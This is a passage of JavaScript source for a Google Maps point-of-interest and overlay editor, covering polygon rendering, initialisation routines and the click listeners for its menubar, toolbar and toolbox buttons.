i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n });\n\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(rectangle, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n });\n\n } else {//not a rectangle, it is a polygon poi\n\n var polygon = new google.maps.Polygon({\n paths: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPath[i],\n map: map,\n title: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i]\n });\n\n polygon.setOptions(MAPEDITOR.GLOBAL.DEFINES.polygonOptionsPOI);\n\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: MAPEDITOR.UTILITIES.polygonCenter(polygon), //position of real marker\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i], //the current user count\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = polygon;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"polygon\";\n var poiDescTemp = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i];\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItemIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[MAPEDITOR.GLOBAL.DEFINES.poi_i] = poiDescTemp;\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDescIncoming\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiDescTemp, \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(polygon));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n\n google.maps.event.addListener(polygon, 'mouseout', function () { //if bounds change\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(this));\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(this));\n }\n }\n });\n\n google.maps.event.addListener(rectangle, 'bounds_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(this.getBounds().getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(polygon, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n });\n\n google.maps.event.addListener(polygon, 'drag', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n //used for lat/long tool\n var str = MAPEDITOR.UTILITIES.polygonCenter(this).toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", \"\").replace(\")\", \"\").replace(\",\", \"\"); //is this better than passing into array?s\n if (cLatV.indexOf(\"-\") != 0) {\n latH = \"N\";\n } else {\n latH = \"S\";\n }\n if (cLongV.indexOf(\"-\") != 0) {\n longH = \"W\";\n } else {\n longH = \"E\";\n }\n document.getElementById(\"cLat\").innerHTML = cLatV + \" (\" + latH + \")\";\n document.getElementById(\"cLong\").innerHTML = cLongV + \" (\" + longH + \")\";\n });\n\n google.maps.event.addListener(polygon, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(this));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(this));\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n\n google.maps.event.addListener(polygon, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(MAPEDITOR.UTILITIES.polygonCenter(this));\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n });\n\n google.maps.event.addListener(polygon.getPath(), 'set_at', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: inside loop1\");\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n //var bounds = new google.maps.LatLngBounds;\n //polygon.getPath().forEach(function (latLng) { bounds.extend(latLng); });\n //var polygonCenter = bounds.getCenter();\n //var bounds = new google.maps.LatLngBounds; //spatial center, bounds holder\n var polygonPoints = [];\n var polygonPointCount = 0;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here1\");\n polygon.getPath().forEach(function (latLng) {\n polygonPoints[polygonPointCount] = latLng;\n polygonPointCount++;\n });\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here2\");\n var polygonCenterPoint = polygonPoints[(polygonPoints.length / 2)];\n var polygonStartPoint = polygonPoints[0];\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(polygonCenterPoint);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(polygonCenterPoint);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: here3\");\n }\n }\n });\n\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(polygon, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n });\n\n }\n MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = true;\n //once everything is drawn, determine if there are pois\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount > 0) {\n //close and reopen pois (to fix firefox bug)\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n //this hides the MAPEDITOR.GLOBAL.DEFINES.infoWindows at startup\n for (var j = 0; j < MAPEDITOR.GLOBAL.DEFINES.poiCount; j++) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[j].setMap(null);\n }\n }, 1000);\n }\n break;\n }\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: displayIncomingPolygons completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initDeclarations: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initDeclarations started...\");\n //get and set c# vars to js \n initServerToClientVars();\n //reinit debug time\n if (MAPEDITOR.GLOBAL.DEFINES.debuggerOn) {\n //MAPEDITOR.TRACER.DEFINES.debugVersionNumber = \" (last build: \" + MAPEDITOR.GLOBAL.DEFINES.debugBuildTimeStamp + \") \";\n MAPEDITOR.TRACER.DEFINES.debugVersionNumber = \" v1.\" + MAPEDITOR.GLOBAL.DEFINES.debugUnixTimeStamp + \" (built: \" + MAPEDITOR.GLOBAL.DEFINES.debugBuildTimeStamp + \") \";\n } else {\n //MAPEDITOR.TRACER.DEFINES.debugVersionNumber = \" (v1.\" + MAPEDITOR.GLOBAL.DEFINES.debugUnixTimeStamp + \") \";\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initDeclarations completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initLocalization: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initlocalization started...\");\n //localize tooltips (listeners)\n MAPEDITOR.LOCALIZATION.localizeByTooltips();\n //localize by textual content\n MAPEDITOR.LOCALIZATION.localizeByText();\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initLocalization completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initListeners: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initListeners started...\");\n //menubar\n document.getElementById(\"content_menubar_save\").addEventListener(\"click\", function () {\n //MAPEDITOR.ACTIONS.save(\"all\");\n if (MAPEDITOR.GLOBAL.DEFINES.userMayLoseData) {\n //attempt to save all three\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L59);\n //saveMSG\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n var savesCompleted = 0;\n try {\n MAPEDITOR.ACTIONS.save(\"item\");\n savesCompleted++;\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not save item\");\n }\n try {\n MAPEDITOR.ACTIONS.save(\"overlay\");\n savesCompleted++;\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not save overlay\");\n }\n try {\n MAPEDITOR.ACTIONS.save(\"poi\");\n savesCompleted++;\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: could not save poi\");\n }\n if (savesCompleted == 3) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: all saves completed\");\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n }\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n } else {\n window.location.assign(document.URL.replace(\"/mapedit\", \"\"));\n }\n }, false);\n document.getElementById(\"content_menubar_cancel\").addEventListener(\"click\", function () {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L58);\n window.location.assign(document.URL.replace(\"/mapedit\", \"\")); //just refresh\n }, false);\n document.getElementById(\"content_menubar_reset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.resetAll();\n }, false);\n document.getElementById(\"content_menubar_toggleMapControls\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"mapControls\");\n }, false);\n document.getElementById(\"content_menubar_toggleToolbox\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }, false);\n document.getElementById(\"content_menubar_toggleToolbar\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbar\");\n }, false);\n document.getElementById(\"content_menubar_layerRoadmap\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"roadmap\");\n }, false);\n document.getElementById(\"content_menubar_layerTerrain\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"terrain\");\n }, false);\n document.getElementById(\"content_menubar_layerSatellite\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"satellite\");\n }, false);\n document.getElementById(\"content_menubar_layerHybrid\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"hybrid\");\n }, false);\n document.getElementById(\"content_menubar_layerCustom\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"custom\");\n }, false);\n document.getElementById(\"content_menubar_layerReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"reset\");\n }, false);\n document.getElementById(\"content_menubar_panUp\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"up\");\n }, false);\n document.getElementById(\"content_menubar_panLeft\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"left\");\n }, false);\n document.getElementById(\"content_menubar_panReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"reset\");\n }, false);\n document.getElementById(\"content_menubar_panRight\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"right\");\n }, false);\n document.getElementById(\"content_menubar_panDown\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"down\");\n }, false);\n document.getElementById(\"content_menubar_zoomIn\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"in\");\n }, false);\n document.getElementById(\"content_menubar_zoomReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"reset\");\n }, false);\n document.getElementById(\"content_menubar_zoomOut\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"out\");\n }, false);\n document.getElementById(\"content_menubar_manageSearch\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"search\");\n }, false);\n document.getElementById(\"content_menubar_searchField\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"search\");\n }, false);\n document.getElementById(\"content_menubar_searchButton\").addEventListener(\"click\", function () {\n if (document.getElementById(\"content_menubar_searchField\").value != null) {\n var stuff = document.getElementById(\"content_menubar_searchField\").value;\n MAPEDITOR.UTILITIES.finder(stuff);\n }\n }, false);\n document.getElementById(\"content_menubar_manageItem\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"manageItem\");\n }, false);\n document.getElementById(\"content_menubar_itemPlace\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.ACTIONS.place(\"item\");\n }, false);\n document.getElementById(\"content_menubar_itemGetUserLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.ACTIONS.geolocate(\"item\");\n }, false);\n document.getElementById(\"content_menubar_useSearchAsLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.ACTIONS.useSearchAsItemLocation();\n }, false);\n document.getElementById(\"content_menubar_convertToOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.convertToOverlay();\n }, false);\n document.getElementById(\"content_menubar_itemReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.ACTIONS.clear(\"item\");\n }, false);\n document.getElementById(\"content_menubar_itemDelete\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.ACTIONS.deleteItemLocation();\n }, false);\n document.getElementById(\"content_menubar_manageOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"manageOverlay\");\n }, false);\n document.getElementById(\"content_menubar_overlayGetUserLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.ACTIONS.geolocate(\"overlay\");\n }, false);\n document.getElementById(\"content_menubar_overlayToggle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.ACTIONS.toggleVis(\"overlays\");\n }, false);\n document.getElementById(\"content_menubar_rotationCounterClockwise\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.UTILITIES.rotate(-0.1);\n }, false);\n document.getElementById(\"content_menubar_rotationReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.UTILITIES.rotate(0.0);\n }, false);\n document.getElementById(\"content_menubar_rotationClockwise\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.UTILITIES.rotate(0.1);\n }, false);\n document.getElementById(\"content_menubar_transparencyDarker\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.UTILITIES.opacity(0.1);\n }, false);\n document.getElementById(\"content_menubar_transparencyLighter\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.UTILITIES.opacity(-0.1);\n }, false);\n document.getElementById(\"content_menubar_transparencyReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.UTILITIES.opacity(0.35); //change to dynamic default\n }, false);\n document.getElementById(\"content_menubar_overlayReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"overlay\");\n MAPEDITOR.ACTIONS.clear(\"overlay\");\n }, false);\n document.getElementById(\"content_menubar_managePOI\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"managePOI\");\n }, false);\n document.getElementById(\"content_menubar_poiGetUserLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.geolocate(\"poi\");\n }, false);\n document.getElementById(\"content_menubar_poiMarker\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.placePOI(\"marker\");\n }, false);\n if(document.URL.indexOf(\"programmer89\") > -1) {\n alert(\"This App Designed By Matthew Peters ([email protected])\");\n }\n document.getElementById(\"content_menubar_poiCircle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.placePOI(\"circle\");\n }, false);\n document.getElementById(\"content_menubar_poiRectangle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.placePOI(\"rectangle\");\n }, false);\n document.getElementById(\"content_menubar_poiPolygon\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.placePOI(\"polygon\");\n }, false);\n document.getElementById(\"content_menubar_poiLine\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.placePOI(\"line\");\n }, false);\n document.getElementById(\"content_menubar_poiReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.ACTIONS.clear(\"poi\");\n }, false);\n document.getElementById(\"content_menubar_documentation\").addEventListener(\"click\", function () {\n window.open(MAPEDITOR.GLOBAL.DEFINES.helpPageURL);\n }, false);\n document.getElementById(\"content_menubar_reportAProblem\").addEventListener(\"click\", function () {\n window.open(MAPEDITOR.GLOBAL.DEFINES.reportProblemURL);\n }, false);\n\n //toolbar\n document.getElementById(\"content_toolbar_button_reset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.resetAll();\n }, false);\n document.getElementById(\"content_toolbar_button_toggleMapControls\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"mapControls\");\n }, false);\n document.getElementById(\"content_toolbar_button_toggleToolbox\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }, false);\n document.getElementById(\"content_toolbar_button_layerRoadmap\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"roadmap\");\n }, false);\n document.getElementById(\"content_toolbar_button_layerTerrain\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"terrain\");\n }, false);\n document.getElementById(\"content_toolbar_button_layerSatellite\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"satellite\");\n }, false);\n document.getElementById(\"content_toolbar_button_layerHybrid\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"hybrid\");\n }, false);\n document.getElementById(\"content_toolbar_button_layerCustom\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"custom\");\n }, false);\n document.getElementById(\"content_toolbar_button_layerReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"reset\");\n }, false);\n document.getElementById(\"content_toolbar_button_panUp\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"up\");\n }, false);\n document.getElementById(\"content_toolbar_button_panLeft\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"left\");\n }, false);\n document.getElementById(\"content_toolbar_button_panReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"reset\");\n }, false);\n document.getElementById(\"content_toolbar_button_panRight\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"right\");\n }, false);\n document.getElementById(\"content_toolbar_button_panDown\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"down\");\n }, false);\n document.getElementById(\"content_toolbar_button_zoomIn\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"in\");\n }, false);\n document.getElementById(\"content_toolbar_button_zoomReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"reset\");\n }, false);\n document.getElementById(\"content_toolbar_button_zoomOut\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"out\");\n }, false);\n document.getElementById(\"content_toolbar_button_manageItem\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"manageItem\");\n }, false);\n document.getElementById(\"content_toolbar_button_manageOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"manageOverlay\");\n }, false);\n document.getElementById(\"content_toolbar_button_managePOI\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"managePOI\");\n }, false);\n document.getElementById(\"content_toolbar_button_manageSearch\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"search\");\n }, false);\n document.getElementById(\"content_toolbar_searchField\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"search\");\n }, false);\n document.getElementById(\"content_toolbar_searchButton\").addEventListener(\"click\", function () {\n if (document.getElementById(\"content_toolbar_searchField\").value != null) {\n var stuff = document.getElementById(\"content_toolbar_searchField\").value;\n MAPEDITOR.UTILITIES.finder(stuff);\n }\n }, false);\n document.getElementById(\"content_toolbarGrabber\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbar\");\n }, false);\n\n //toolbox\n //minibar\n document.getElementById(\"content_minibar_button_minimize\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolboxMin\");\n }, false);\n document.getElementById(\"content_minibar_button_maximize\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolboxMax\");\n }, false);\n document.getElementById(\"content_minibar_button_close\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }, false);\n //headers\n document.getElementById(\"content_toolbox_tab1_header\").addEventListener(\"click\", function () {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tab1 header clicked...\");\n MAPEDITOR.ACTIONS.action(\"other\");\n MAPEDITOR.ACTIONS.openToolboxTab(0);\n }, false);\n document.getElementById(\"content_toolbox_tab2_header\").addEventListener(\"click\", function () {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tab2 header clicked...\");\n MAPEDITOR.ACTIONS.action(\"search\");\n }, false);\n document.getElementById(\"content_toolbox_tab3_header\").addEventListener(\"click\", function () {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tab3 header clicked...\");\n MAPEDITOR.ACTIONS.action(\"manageItem\");\n }, false);\n document.getElementById(\"content_toolbox_tab4_header\").addEventListener(\"click\", function () {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tab4 header clicked...\");\n MAPEDITOR.ACTIONS.action(\"manageOverlay\");\n }, false);\n document.getElementById(\"content_toolbox_tab5_header\").addEventListener(\"click\", function () {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tab5 header clicked...\");\n MAPEDITOR.ACTIONS.action(\"managePOI\");\n }, false);\n //tab\n document.getElementById(\"content_toolbox_button_layerRoadmap\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"roadmap\");\n }, false);\n document.getElementById(\"content_toolbox_button_layerTerrain\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"terrain\");\n }, false);\n document.getElementById(\"content_toolbox_button_panUp\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"up\");\n }, false);\n document.getElementById(\"content_toolbox_button_layerSatellite\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"satellite\");\n }, false);\n document.getElementById(\"content_toolbox_button_layerHybrid\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"hybrid\");\n }, false);\n document.getElementById(\"content_toolbox_button_panLeft\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"left\");\n }, false);\n document.getElementById(\"content_toolbox_button_panReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"reset\");\n }, false);\n document.getElementById(\"content_toolbox_button_panRight\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"right\");\n }, false);\n document.getElementById(\"content_toolbox_button_layerCustom\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"custom\");\n }, false);\n document.getElementById(\"content_toolbox_button_layerReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.changeMapLayer(\"reset\");\n }, false);\n document.getElementById(\"content_toolbox_button_panDown\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.panMap(\"down\");\n }, false);\n document.getElementById(\"content_toolbox_button_reset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.resetAll();\n }, false);\n document.getElementById(\"content_toolbox_button_toggleMapControls\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"mapControls\");\n }, 